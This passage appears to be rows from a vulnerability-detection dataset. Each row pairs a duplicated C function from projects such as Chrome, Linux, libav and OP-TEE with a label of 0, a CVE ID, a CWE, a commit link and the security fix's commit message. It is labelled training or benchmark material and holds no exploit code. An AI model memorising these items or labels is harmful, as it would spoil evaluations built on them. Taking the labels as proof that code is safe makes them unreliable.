void BookmarksCreateFunction::GetQuotaLimitHeuristics( QuotaLimitHeuristics* heuristics) const { BookmarksQuotaLimitFactory::BuildForCreate(heuristics, profile()); }
C
Chrome
0
CVE-2013-4282
https://www.cvedetails.com/cve/CVE-2013-4282/
CWE-119
https://cgit.freedesktop.org/spice/spice/commit/?id=8af619009660b24e0b41ad26b30289eea288fcc2
8af619009660b24e0b41ad26b30289eea288fcc2
null
static void reds_mig_target_client_disconnect_all(void) { RingItem *now, *next; RING_FOREACH_SAFE(now, next, &reds->mig_target_clients) { RedsMigTargetClient *mig_client = SPICE_CONTAINEROF(now, RedsMigTargetClient, link); reds_client_disconnect(mig_client->client); } }
static void reds_mig_target_client_disconnect_all(void) { RingItem *now, *next; RING_FOREACH_SAFE(now, next, &reds->mig_target_clients) { RedsMigTargetClient *mig_client = SPICE_CONTAINEROF(now, RedsMigTargetClient, link); reds_client_disconnect(mig_client->client); } }
C
spice
0
CVE-2012-2900
https://www.cvedetails.com/cve/CVE-2012-2900/
null
https://github.com/chromium/chromium/commit/9597042cad54926f50d58f5ada39205eb734d7be
9597042cad54926f50d58f5ada39205eb734d7be
Revert 137988 - VAVDA is the hardware video decode accelerator for Chrome on Linux and ChromeOS for Intel CPUs (Sandy Bridge and newer). This CL enables VAVDA acceleration for ChromeOS, both for HTML5 video and Flash. The feature is currently hidden behind a command line flag and can be enabled by adding the --enable-vaapi parameter to command line. BUG=117062 TEST=Manual runs of test streams. Change-Id: I386e16739e2ef2230f52a0a434971b33d8654699 Review URL: https://chromiumcodereview.appspot.com/9814001 This is causing crbug.com/129103 TBR=posciak@chromium.org Review URL: https://chromiumcodereview.appspot.com/10411066 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@138208 0039d316-1c4b-4281-b951-d872f2087c98
void GpuProcessHost::OnAcceleratedSurfaceRelease( const GpuHostMsg_AcceleratedSurfaceRelease_Params& params) { TRACE_EVENT0("gpu", "GpuProcessHost::OnAcceleratedSurfaceRelease"); gfx::PluginWindowHandle handle = GpuSurfaceTracker::Get()->GetSurfaceWindowHandle(params.surface_id); if (!handle) return; scoped_refptr<AcceleratedPresenter> presenter( AcceleratedPresenter::GetForWindow(handle)); if (!presenter) return; presenter->ReleaseSurface(); }
void GpuProcessHost::OnAcceleratedSurfaceRelease( const GpuHostMsg_AcceleratedSurfaceRelease_Params& params) { TRACE_EVENT0("gpu", "GpuProcessHost::OnAcceleratedSurfaceRelease"); gfx::PluginWindowHandle handle = GpuSurfaceTracker::Get()->GetSurfaceWindowHandle(params.surface_id); if (!handle) return; scoped_refptr<AcceleratedPresenter> presenter( AcceleratedPresenter::GetForWindow(handle)); if (!presenter) return; presenter->ReleaseSurface(); }
C
Chrome
0
CVE-2016-7424
https://www.cvedetails.com/cve/CVE-2016-7424/
CWE-476
https://git.libav.org/?p=libav.git;a=commit;h=136f55207521f0b03194ef5b55ba70f1635d6aee
136f55207521f0b03194ef5b55ba70f1635d6aee
null
static void gmc1_motion(MpegEncContext *s, uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr, uint8_t **ref_picture) { uint8_t *ptr; int src_x, src_y, motion_x, motion_y; ptrdiff_t offset, linesize, uvlinesize; int emu = 0; motion_x = s->sprite_offset[0][0]; motion_y = s->sprite_offset[0][1]; src_x = s->mb_x * 16 + (motion_x >> (s->sprite_warping_accuracy + 1)); src_y = s->mb_y * 16 + (motion_y >> (s->sprite_warping_accuracy + 1)); motion_x <<= (3 - s->sprite_warping_accuracy); motion_y <<= (3 - s->sprite_warping_accuracy); src_x = av_clip(src_x, -16, s->width); if (src_x == s->width) motion_x = 0; src_y = av_clip(src_y, -16, s->height); if (src_y == s->height) motion_y = 0; linesize = s->linesize; uvlinesize = s->uvlinesize; ptr = ref_picture[0] + src_y * linesize + src_x; if ((unsigned)src_x >= FFMAX(s->h_edge_pos - 17, 0) || (unsigned)src_y >= FFMAX(s->v_edge_pos - 17, 0)) { s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr, linesize, linesize, 17, 17, src_x, src_y, s->h_edge_pos, s->v_edge_pos); ptr = s->sc.edge_emu_buffer; } if ((motion_x | motion_y) & 7) { s->mdsp.gmc1(dest_y, ptr, linesize, 16, motion_x & 15, motion_y & 15, 128 - s->no_rounding); s->mdsp.gmc1(dest_y + 8, ptr + 8, linesize, 16, motion_x & 15, motion_y & 15, 128 - s->no_rounding); } else { int dxy; dxy = ((motion_x >> 3) & 1) | ((motion_y >> 2) & 2); if (s->no_rounding) { s->hdsp.put_no_rnd_pixels_tab[0][dxy](dest_y, ptr, linesize, 16); } else { s->hdsp.put_pixels_tab[0][dxy](dest_y, ptr, linesize, 16); } } if (CONFIG_GRAY && s->avctx->flags & AV_CODEC_FLAG_GRAY) return; motion_x = s->sprite_offset[1][0]; motion_y = s->sprite_offset[1][1]; src_x = s->mb_x * 8 + (motion_x >> (s->sprite_warping_accuracy + 1)); src_y = s->mb_y * 8 + (motion_y >> (s->sprite_warping_accuracy + 1)); motion_x <<= (3 - s->sprite_warping_accuracy); motion_y <<= (3 - s->sprite_warping_accuracy); src_x = av_clip(src_x, -8, s->width >> 1); if (src_x == s->width >> 1) motion_x = 0; src_y = av_clip(src_y, -8, s->height >> 1); if (src_y == s->height >> 1) motion_y = 0; offset = (src_y * uvlinesize) + src_x; ptr = ref_picture[1] + offset; if ((unsigned)src_x >= FFMAX((s->h_edge_pos >> 1) - 9, 0) || (unsigned)src_y >= FFMAX((s->v_edge_pos >> 1) - 9, 0)) { s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr, uvlinesize, uvlinesize, 9, 9, src_x, src_y, s->h_edge_pos >> 1, s->v_edge_pos >> 1); ptr = s->sc.edge_emu_buffer; emu = 1; } s->mdsp.gmc1(dest_cb, ptr, uvlinesize, 8, motion_x & 15, motion_y & 15, 128 - s->no_rounding); ptr = ref_picture[2] + offset; if (emu) { s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr, uvlinesize, uvlinesize, 9, 9, src_x, src_y, s->h_edge_pos >> 1, s->v_edge_pos >> 1); ptr = s->sc.edge_emu_buffer; } s->mdsp.gmc1(dest_cr, ptr, uvlinesize, 8, motion_x & 15, motion_y & 15, 128 - s->no_rounding); }
static void gmc1_motion(MpegEncContext *s, uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr, uint8_t **ref_picture) { uint8_t *ptr; int src_x, src_y, motion_x, motion_y; ptrdiff_t offset, linesize, uvlinesize; int emu = 0; motion_x = s->sprite_offset[0][0]; motion_y = s->sprite_offset[0][1]; src_x = s->mb_x * 16 + (motion_x >> (s->sprite_warping_accuracy + 1)); src_y = s->mb_y * 16 + (motion_y >> (s->sprite_warping_accuracy + 1)); motion_x <<= (3 - s->sprite_warping_accuracy); motion_y <<= (3 - s->sprite_warping_accuracy); src_x = av_clip(src_x, -16, s->width); if (src_x == s->width) motion_x = 0; src_y = av_clip(src_y, -16, s->height); if (src_y == s->height) motion_y = 0; linesize = s->linesize; uvlinesize = s->uvlinesize; ptr = ref_picture[0] + src_y * linesize + src_x; if ((unsigned)src_x >= FFMAX(s->h_edge_pos - 17, 0) || (unsigned)src_y >= FFMAX(s->v_edge_pos - 17, 0)) { s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr, linesize, linesize, 17, 17, src_x, src_y, s->h_edge_pos, s->v_edge_pos); ptr = s->sc.edge_emu_buffer; } if ((motion_x | motion_y) & 7) { s->mdsp.gmc1(dest_y, ptr, linesize, 16, motion_x & 15, motion_y & 15, 128 - s->no_rounding); s->mdsp.gmc1(dest_y + 8, ptr + 8, linesize, 16, motion_x & 15, motion_y & 15, 128 - s->no_rounding); } else { int dxy; dxy = ((motion_x >> 3) & 1) | ((motion_y >> 2) & 2); if (s->no_rounding) { s->hdsp.put_no_rnd_pixels_tab[0][dxy](dest_y, ptr, linesize, 16); } else { s->hdsp.put_pixels_tab[0][dxy](dest_y, ptr, linesize, 16); } } if (CONFIG_GRAY && s->avctx->flags & AV_CODEC_FLAG_GRAY) return; motion_x = s->sprite_offset[1][0]; motion_y = s->sprite_offset[1][1]; src_x = s->mb_x * 8 + (motion_x >> (s->sprite_warping_accuracy + 1)); src_y = s->mb_y * 8 + (motion_y >> (s->sprite_warping_accuracy + 1)); motion_x <<= (3 - s->sprite_warping_accuracy); motion_y <<= (3 - s->sprite_warping_accuracy); src_x = av_clip(src_x, -8, s->width >> 1); if (src_x == s->width >> 1) motion_x = 0; src_y = av_clip(src_y, -8, s->height >> 1); if (src_y == s->height >> 1) motion_y = 0; offset = (src_y * uvlinesize) + src_x; ptr = ref_picture[1] + offset; if ((unsigned)src_x >= FFMAX((s->h_edge_pos >> 1) - 9, 0) || (unsigned)src_y >= FFMAX((s->v_edge_pos >> 1) - 9, 0)) { s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr, uvlinesize, uvlinesize, 9, 9, src_x, src_y, s->h_edge_pos >> 1, s->v_edge_pos >> 1); ptr = s->sc.edge_emu_buffer; emu = 1; } s->mdsp.gmc1(dest_cb, ptr, uvlinesize, 8, motion_x & 15, motion_y & 15, 128 - s->no_rounding); ptr = ref_picture[2] + offset; if (emu) { s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr, uvlinesize, uvlinesize, 9, 9, src_x, src_y, s->h_edge_pos >> 1, s->v_edge_pos >> 1); ptr = s->sc.edge_emu_buffer; } s->mdsp.gmc1(dest_cr, ptr, uvlinesize, 8, motion_x & 15, motion_y & 15, 128 - s->no_rounding); }
C
libav
0
CVE-2017-5120
https://www.cvedetails.com/cve/CVE-2017-5120/
null
https://github.com/chromium/chromium/commit/b7277af490d28ac7f802c015bb0ff31395768556
b7277af490d28ac7f802c015bb0ff31395768556
bindings: Support "attribute FrozenArray<T>?" Adds a quick hack to support a case of "attribute FrozenArray<T>?". Bug: 1028047 Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866 Reviewed-by: Hitoshi Yoshida <peria@chromium.org> Commit-Queue: Yuki Shiino <yukishiino@chromium.org> Cr-Commit-Position: refs/heads/master@{#718676}
static void SetterRaisesExceptionLongAttributeAttributeSetter( v8::Local<v8::Value> v8_value, const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Isolate* isolate = info.GetIsolate(); ALLOW_UNUSED_LOCAL(isolate); v8::Local<v8::Object> holder = info.Holder(); ALLOW_UNUSED_LOCAL(holder); TestObject* impl = V8TestObject::ToImpl(holder); ExceptionState exception_state(isolate, ExceptionState::kSetterContext, "TestObject", "setterRaisesExceptionLongAttribute"); int32_t cpp_value = NativeValueTraits<IDLLong>::NativeValue(info.GetIsolate(), v8_value, exception_state); if (exception_state.HadException()) return; impl->setSetterRaisesExceptionLongAttribute(cpp_value, exception_state); }
static void SetterRaisesExceptionLongAttributeAttributeSetter( v8::Local<v8::Value> v8_value, const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Isolate* isolate = info.GetIsolate(); ALLOW_UNUSED_LOCAL(isolate); v8::Local<v8::Object> holder = info.Holder(); ALLOW_UNUSED_LOCAL(holder); TestObject* impl = V8TestObject::ToImpl(holder); ExceptionState exception_state(isolate, ExceptionState::kSetterContext, "TestObject", "setterRaisesExceptionLongAttribute"); int32_t cpp_value = NativeValueTraits<IDLLong>::NativeValue(info.GetIsolate(), v8_value, exception_state); if (exception_state.HadException()) return; impl->setSetterRaisesExceptionLongAttribute(cpp_value, exception_state); }
C
Chrome
0
CVE-2019-1010293
https://www.cvedetails.com/cve/CVE-2019-1010293/
CWE-20
https://github.com/OP-TEE/optee_os/commit/95f36d661f2b75887772ea28baaad904bde96970
95f36d661f2b75887772ea28baaad904bde96970
core: tee_mmu_check_access_rights() check all pages Prior to this patch tee_mmu_check_access_rights() checks an address in each page of a supplied range. If both the start and length of that range is unaligned the last page in the range is sometimes not checked. With this patch the first address of each page in the range is checked to simplify the logic of checking each page and the range and also to cover the last page under all circumstances. Fixes: OP-TEE-2018-0005: "tee_mmu_check_access_rights does not check final page of TA buffer" Signed-off-by: Jens Wiklander <jens.wiklander@linaro.org> Tested-by: Joakim Bech <joakim.bech@linaro.org> (QEMU v7, v8) Reviewed-by: Joakim Bech <joakim.bech@linaro.org> Reported-by: Riscure <inforequest@riscure.com> Reported-by: Alyssa Milburn <a.a.milburn@vu.nl> Acked-by: Etienne Carriere <etienne.carriere@linaro.org>
TEE_Result vm_set_prot(struct user_ta_ctx *utc, vaddr_t va, size_t len, uint32_t prot) { struct vm_region *r; /* * To keep thing simple: specified va and len has to match exactly * with an already registered region. */ TAILQ_FOREACH(r, &utc->vm_info->regions, link) { if (core_is_buffer_intersect(r->va, r->size, va, len)) { if (r->va != va || r->size != len) return TEE_ERROR_BAD_PARAMETERS; if (mobj_is_paged(r->mobj)) { if (!tee_pager_set_uta_area_attr(utc, va, len, prot)) return TEE_ERROR_GENERIC; } else if ((prot & TEE_MATTR_UX) && (r->attr & (TEE_MATTR_UW | TEE_MATTR_PW))) { cache_op_inner(DCACHE_AREA_CLEAN, (void *)va, len); cache_op_inner(ICACHE_AREA_INVALIDATE, (void *)va, len); } r->attr &= ~TEE_MATTR_PROT_MASK; r->attr |= prot & TEE_MATTR_PROT_MASK; return TEE_SUCCESS; } } return TEE_ERROR_ITEM_NOT_FOUND; }
TEE_Result vm_set_prot(struct user_ta_ctx *utc, vaddr_t va, size_t len, uint32_t prot) { struct vm_region *r; /* * To keep thing simple: specified va and len has to match exactly * with an already registered region. */ TAILQ_FOREACH(r, &utc->vm_info->regions, link) { if (core_is_buffer_intersect(r->va, r->size, va, len)) { if (r->va != va || r->size != len) return TEE_ERROR_BAD_PARAMETERS; if (mobj_is_paged(r->mobj)) { if (!tee_pager_set_uta_area_attr(utc, va, len, prot)) return TEE_ERROR_GENERIC; } else if ((prot & TEE_MATTR_UX) && (r->attr & (TEE_MATTR_UW | TEE_MATTR_PW))) { cache_op_inner(DCACHE_AREA_CLEAN, (void *)va, len); cache_op_inner(ICACHE_AREA_INVALIDATE, (void *)va, len); } r->attr &= ~TEE_MATTR_PROT_MASK; r->attr |= prot & TEE_MATTR_PROT_MASK; return TEE_SUCCESS; } } return TEE_ERROR_ITEM_NOT_FOUND; }
C
optee_os
0
CVE-2016-5218
https://www.cvedetails.com/cve/CVE-2016-5218/
CWE-20
https://github.com/chromium/chromium/commit/45d901b56f578a74b19ba0d10fa5c4c467f19303
45d901b56f578a74b19ba0d10fa5c4c467f19303
Paint tab groups with the group color. * The background of TabGroupHeader now uses the group color. * The backgrounds of tabs in the group are tinted with the group color. This treatment, along with the colors chosen, are intended to be a placeholder. Bug: 905491 Change-Id: Ic808548f8eba23064606e7fb8c9bba281d0d117f Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1610504 Commit-Queue: Bret Sepulveda <bsep@chromium.org> Reviewed-by: Taylor Bergquist <tbergquist@chromium.org> Cr-Commit-Position: refs/heads/master@{#660498}
static views::Label* GetTabTitle(const Tab& tab) { return tab.title_; }
static views::Label* GetTabTitle(const Tab& tab) { return tab.title_; }
C
Chrome
0
CVE-2016-1678
https://www.cvedetails.com/cve/CVE-2016-1678/
CWE-119
https://github.com/chromium/chromium/commit/1f5ad409dbf5334523931df37598ea49e9849c87
1f5ad409dbf5334523931df37598ea49e9849c87
Allow origin lock for WebUI pages. Returning true for WebUI pages in DoesSiteRequireDedicatedProcess helps to keep enforcing a SiteInstance swap during chrome://foo -> chrome://bar navigation, even after relaxing BrowsingInstance::GetSiteInstanceForURL to consider RPH::IsSuitableHost (see https://crrev.com/c/783470 for that fixes process sharing in isolated(b(c),d(c)) scenario). I've manually tested this CL by visiting the following URLs: - chrome://welcome/ - chrome://settings - chrome://extensions - chrome://history - chrome://help and chrome://chrome (both redirect to chrome://settings/help) Bug: 510588, 847127 Change-Id: I55073bce00f32cb8bc5c1c91034438ff9a3f8971 Reviewed-on: https://chromium-review.googlesource.com/1237392 Commit-Queue: Łukasz Anforowicz <lukasza@chromium.org> Reviewed-by: François Doray <fdoray@chromium.org> Reviewed-by: Nasko Oskov <nasko@chromium.org> Reviewed-by: Avi Drissman <avi@chromium.org> Cr-Commit-Position: refs/heads/master@{#595259}
ChromeRenderProcessHostBackgroundingTestWithAudio() {}
ChromeRenderProcessHostBackgroundingTestWithAudio() {}
C
Chrome
0
CVE-2016-3746
https://www.cvedetails.com/cve/CVE-2016-3746/
null
https://android.googlesource.com/platform/hardware/qcom/media/+/5b82f4f90c3d531313714df4b936f92fb0ff15cf
5b82f4f90c3d531313714df4b936f92fb0ff15cf
DO NOT MERGE mm-video-v4l2: vdec: Avoid processing ETBs/FTBs in invalid states (per the spec) ETB/FTB should not be handled in states other than Executing, Paused and Idle. This avoids accessing invalid buffers. Also add a lock to protect the private-buffers from being deleted while accessing from another thread. Bug: 27890802 Security Vulnerability - Heap Use-After-Free and Possible LPE in MediaServer (libOmxVdec problem #6) CRs-Fixed: 1008882 Change-Id: Iaac2e383cd53cf9cf8042c9ed93ddc76dba3907e
OMX_ERRORTYPE omx_vdec::allocate_color_convert_buf::cache_ops( unsigned int index, unsigned int cmd) { if (!enabled) { return OMX_ErrorNone; } if (!omx || index >= omx->drv_ctx.op_buf.actualcount) { DEBUG_PRINT_ERROR("%s: Invalid param", __func__); return OMX_ErrorBadParameter; } struct ion_flush_data flush_data; struct ion_custom_data custom_data; memset(&flush_data, 0x0, sizeof(flush_data)); memset(&custom_data, 0x0, sizeof(custom_data)); flush_data.vaddr = pmem_baseaddress[index]; flush_data.fd = op_buf_ion_info[index].fd_ion_data.fd; flush_data.handle = op_buf_ion_info[index].fd_ion_data.handle; flush_data.length = buffer_size_req; custom_data.cmd = cmd; custom_data.arg = (unsigned long)&flush_data; DEBUG_PRINT_LOW("Cache %s: fd=%d handle=%d va=%p size=%d", (cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate", flush_data.fd, flush_data.handle, flush_data.vaddr, flush_data.length); int ret = ioctl(op_buf_ion_info[index].ion_device_fd, ION_IOC_CUSTOM, &custom_data); if (ret < 0) { DEBUG_PRINT_ERROR("Cache %s failed: %s\n", (cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate", strerror(errno)); return OMX_ErrorUndefined; } return OMX_ErrorNone; }
OMX_ERRORTYPE omx_vdec::allocate_color_convert_buf::cache_ops( unsigned int index, unsigned int cmd) { if (!enabled) { return OMX_ErrorNone; } if (!omx || index >= omx->drv_ctx.op_buf.actualcount) { DEBUG_PRINT_ERROR("%s: Invalid param", __func__); return OMX_ErrorBadParameter; } struct ion_flush_data flush_data; struct ion_custom_data custom_data; memset(&flush_data, 0x0, sizeof(flush_data)); memset(&custom_data, 0x0, sizeof(custom_data)); flush_data.vaddr = pmem_baseaddress[index]; flush_data.fd = op_buf_ion_info[index].fd_ion_data.fd; flush_data.handle = op_buf_ion_info[index].fd_ion_data.handle; flush_data.length = buffer_size_req; custom_data.cmd = cmd; custom_data.arg = (unsigned long)&flush_data; DEBUG_PRINT_LOW("Cache %s: fd=%d handle=%d va=%p size=%d", (cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate", flush_data.fd, flush_data.handle, flush_data.vaddr, flush_data.length); int ret = ioctl(op_buf_ion_info[index].ion_device_fd, ION_IOC_CUSTOM, &custom_data); if (ret < 0) { DEBUG_PRINT_ERROR("Cache %s failed: %s\n", (cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate", strerror(errno)); return OMX_ErrorUndefined; } return OMX_ErrorNone; }
C
Android
0
CVE-2011-1019
https://www.cvedetails.com/cve/CVE-2011-1019/
CWE-264
https://github.com/torvalds/linux/commit/8909c9ad8ff03611c9c96c9a92656213e4bb495b
8909c9ad8ff03611c9c96c9a92656213e4bb495b
net: don't allow CAP_NET_ADMIN to load non-netdev kernel modules Since a8f80e8ff94ecba629542d9b4b5f5a8ee3eb565c any process with CAP_NET_ADMIN may load any module from /lib/modules/. This doesn't mean that CAP_NET_ADMIN is a superset of CAP_SYS_MODULE as modules are limited to /lib/modules/**. However, CAP_NET_ADMIN capability shouldn't allow anybody load any module not related to networking. This patch restricts an ability of autoloading modules to netdev modules with explicit aliases. This fixes CVE-2011-1019. Arnd Bergmann suggested to leave untouched the old pre-v2.6.32 behavior of loading netdev modules by name (without any prefix) for processes with CAP_SYS_MODULE to maintain the compatibility with network scripts that use autoloading netdev modules by aliases like "eth0", "wlan0". Currently there are only three users of the feature in the upstream kernel: ipip, ip_gre and sit. root@albatros:~# capsh --drop=$(seq -s, 0 11),$(seq -s, 13 34) -- root@albatros:~# grep Cap /proc/$$/status CapInh: 0000000000000000 CapPrm: fffffff800001000 CapEff: fffffff800001000 CapBnd: fffffff800001000 root@albatros:~# modprobe xfs FATAL: Error inserting xfs (/lib/modules/2.6.38-rc6-00001-g2bf4ca3/kernel/fs/xfs/xfs.ko): Operation not permitted root@albatros:~# lsmod | grep xfs root@albatros:~# ifconfig xfs xfs: error fetching interface information: Device not found root@albatros:~# lsmod | grep xfs root@albatros:~# lsmod | grep sit root@albatros:~# ifconfig sit sit: error fetching interface information: Device not found root@albatros:~# lsmod | grep sit root@albatros:~# ifconfig sit0 sit0 Link encap:IPv6-in-IPv4 NOARP MTU:1480 Metric:1 root@albatros:~# lsmod | grep sit sit 10457 0 tunnel4 2957 1 sit For CAP_SYS_MODULE module loading is still relaxed: root@albatros:~# grep Cap /proc/$$/status CapInh: 0000000000000000 CapPrm: ffffffffffffffff CapEff: ffffffffffffffff CapBnd: ffffffffffffffff root@albatros:~# ifconfig xfs xfs: error fetching interface information: Device not found root@albatros:~# lsmod | grep xfs xfs 745319 0 Reference: https://lkml.org/lkml/2011/2/24/203 Signed-off-by: Vasiliy Kulikov <segoon@openwall.com> Signed-off-by: Michael Tokarev <mjt@tls.msk.ru> Acked-by: David S. Miller <davem@davemloft.net> Acked-by: Kees Cook <kees.cook@canonical.com> Signed-off-by: James Morris <jmorris@namei.org>
static struct net_device_stats *ipip6_get_stats(struct net_device *dev) { struct pcpu_tstats sum = { 0 }; int i; for_each_possible_cpu(i) { const struct pcpu_tstats *tstats = per_cpu_ptr(dev->tstats, i); sum.rx_packets += tstats->rx_packets; sum.rx_bytes += tstats->rx_bytes; sum.tx_packets += tstats->tx_packets; sum.tx_bytes += tstats->tx_bytes; } dev->stats.rx_packets = sum.rx_packets; dev->stats.rx_bytes = sum.rx_bytes; dev->stats.tx_packets = sum.tx_packets; dev->stats.tx_bytes = sum.tx_bytes; return &dev->stats; }
static struct net_device_stats *ipip6_get_stats(struct net_device *dev) { struct pcpu_tstats sum = { 0 }; int i; for_each_possible_cpu(i) { const struct pcpu_tstats *tstats = per_cpu_ptr(dev->tstats, i); sum.rx_packets += tstats->rx_packets; sum.rx_bytes += tstats->rx_bytes; sum.tx_packets += tstats->tx_packets; sum.tx_bytes += tstats->tx_bytes; } dev->stats.rx_packets = sum.rx_packets; dev->stats.rx_bytes = sum.rx_bytes; dev->stats.tx_packets = sum.tx_packets; dev->stats.tx_bytes = sum.tx_bytes; return &dev->stats; }
C
linux
0
CVE-2015-8963
https://www.cvedetails.com/cve/CVE-2015-8963/
CWE-416
https://github.com/torvalds/linux/commit/12ca6ad2e3a896256f086497a7c7406a547ee373
12ca6ad2e3a896256f086497a7c7406a547ee373
perf: Fix race in swevent hash There's a race on CPU unplug where we free the swevent hash array while it can still have events on. This will result in a use-after-free which is BAD. Simply do not free the hash array on unplug. This leaves the thing around and no use-after-free takes place. When the last swevent dies, we do a for_each_possible_cpu() iteration anyway to clean these up, at which time we'll free it, so no leakage will occur. Reported-by: Sasha Levin <sasha.levin@oracle.com> Tested-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org> Cc: Arnaldo Carvalho de Melo <acme@redhat.com> Cc: Frederic Weisbecker <fweisbec@gmail.com> Cc: Jiri Olsa <jolsa@redhat.com> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Peter Zijlstra <peterz@infradead.org> Cc: Stephane Eranian <eranian@google.com> Cc: Thomas Gleixner <tglx@linutronix.de> Cc: Vince Weaver <vincent.weaver@maine.edu> Signed-off-by: Ingo Molnar <mingo@kernel.org>
static long _perf_ioctl(struct perf_event *event, unsigned int cmd, unsigned long arg) { void (*func)(struct perf_event *); u32 flags = arg; switch (cmd) { case PERF_EVENT_IOC_ENABLE: func = _perf_event_enable; break; case PERF_EVENT_IOC_DISABLE: func = _perf_event_disable; break; case PERF_EVENT_IOC_RESET: func = _perf_event_reset; break; case PERF_EVENT_IOC_REFRESH: return _perf_event_refresh(event, arg); case PERF_EVENT_IOC_PERIOD: return perf_event_period(event, (u64 __user *)arg); case PERF_EVENT_IOC_ID: { u64 id = primary_event_id(event); if (copy_to_user((void __user *)arg, &id, sizeof(id))) return -EFAULT; return 0; } case PERF_EVENT_IOC_SET_OUTPUT: { int ret; if (arg != -1) { struct perf_event *output_event; struct fd output; ret = perf_fget_light(arg, &output); if (ret) return ret; output_event = output.file->private_data; ret = perf_event_set_output(event, output_event); fdput(output); } else { ret = perf_event_set_output(event, NULL); } return ret; } case PERF_EVENT_IOC_SET_FILTER: return perf_event_set_filter(event, (void __user *)arg); case PERF_EVENT_IOC_SET_BPF: return perf_event_set_bpf_prog(event, arg); default: return -ENOTTY; } if (flags & PERF_IOC_FLAG_GROUP) perf_event_for_each(event, func); else perf_event_for_each_child(event, func); return 0; }
static long _perf_ioctl(struct perf_event *event, unsigned int cmd, unsigned long arg) { void (*func)(struct perf_event *); u32 flags = arg; switch (cmd) { case PERF_EVENT_IOC_ENABLE: func = _perf_event_enable; break; case PERF_EVENT_IOC_DISABLE: func = _perf_event_disable; break; case PERF_EVENT_IOC_RESET: func = _perf_event_reset; break; case PERF_EVENT_IOC_REFRESH: return _perf_event_refresh(event, arg); case PERF_EVENT_IOC_PERIOD: return perf_event_period(event, (u64 __user *)arg); case PERF_EVENT_IOC_ID: { u64 id = primary_event_id(event); if (copy_to_user((void __user *)arg, &id, sizeof(id))) return -EFAULT; return 0; } case PERF_EVENT_IOC_SET_OUTPUT: { int ret; if (arg != -1) { struct perf_event *output_event; struct fd output; ret = perf_fget_light(arg, &output); if (ret) return ret; output_event = output.file->private_data; ret = perf_event_set_output(event, output_event); fdput(output); } else { ret = perf_event_set_output(event, NULL); } return ret; } case PERF_EVENT_IOC_SET_FILTER: return perf_event_set_filter(event, (void __user *)arg); case PERF_EVENT_IOC_SET_BPF: return perf_event_set_bpf_prog(event, arg); default: return -ENOTTY; } if (flags & PERF_IOC_FLAG_GROUP) perf_event_for_each(event, func); else perf_event_for_each_child(event, func); return 0; }
C
linux
0
CVE-2017-16534
https://www.cvedetails.com/cve/CVE-2017-16534/
CWE-119
https://github.com/torvalds/linux/commit/2e1c42391ff2556387b3cb6308b24f6f65619feb
2e1c42391ff2556387b3cb6308b24f6f65619feb
USB: core: harden cdc_parse_cdc_header Andrey Konovalov reported a possible out-of-bounds problem for the cdc_parse_cdc_header function. He writes: It looks like cdc_parse_cdc_header() doesn't validate buflen before accessing buffer[1], buffer[2] and so on. The only check present is while (buflen > 0). So fix this issue up by properly validating the buffer length matches what the descriptor says it is. Reported-by: Andrey Konovalov <andreyknvl@google.com> Tested-by: Andrey Konovalov <andreyknvl@google.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
static void usb_try_string_workarounds(unsigned char *buf, int *length) { int newlength, oldlength = *length; for (newlength = 2; newlength + 1 < oldlength; newlength += 2) if (!isprint(buf[newlength]) || buf[newlength + 1]) break; if (newlength > 2) { buf[0] = newlength; *length = newlength; } }
static void usb_try_string_workarounds(unsigned char *buf, int *length) { int newlength, oldlength = *length; for (newlength = 2; newlength + 1 < oldlength; newlength += 2) if (!isprint(buf[newlength]) || buf[newlength + 1]) break; if (newlength > 2) { buf[0] = newlength; *length = newlength; } }
C
linux
0
CVE-2015-8785
https://www.cvedetails.com/cve/CVE-2015-8785/
CWE-399
https://github.com/torvalds/linux/commit/3ca8138f014a913f98e6ef40e939868e1e9ea876
3ca8138f014a913f98e6ef40e939868e1e9ea876
fuse: break infinite loop in fuse_fill_write_pages() I got a report about unkillable task eating CPU. Further investigation shows, that the problem is in the fuse_fill_write_pages() function. If iov's first segment has zero length, we get an infinite loop, because we never reach iov_iter_advance() call. Fix this by calling iov_iter_advance() before repeating an attempt to copy data from userspace. A similar problem is described in 124d3b7041f ("fix writev regression: pan hanging unkillable and un-straceable"). If zero-length segmend is followed by segment with invalid address, iov_iter_fault_in_readable() checks only first segment (zero-length), iov_iter_copy_from_user_atomic() skips it, fails at second and returns zero -> goto again without skipping zero-length segment. Patch calls iov_iter_advance() before goto again: we'll skip zero-length segment at second iteraction and iov_iter_fault_in_readable() will detect invalid address. Special thanks to Konstantin Khlebnikov, who helped a lot with the commit description. Cc: Andrew Morton <akpm@linux-foundation.org> Cc: Maxim Patlasov <mpatlasov@parallels.com> Cc: Konstantin Khlebnikov <khlebnikov@yandex-team.ru> Signed-off-by: Roman Gushchin <klamm@yandex-team.ru> Signed-off-by: Miklos Szeredi <miklos@szeredi.hu> Fixes: ea9b9907b82a ("fuse: implement perform_write") Cc: <stable@vger.kernel.org>
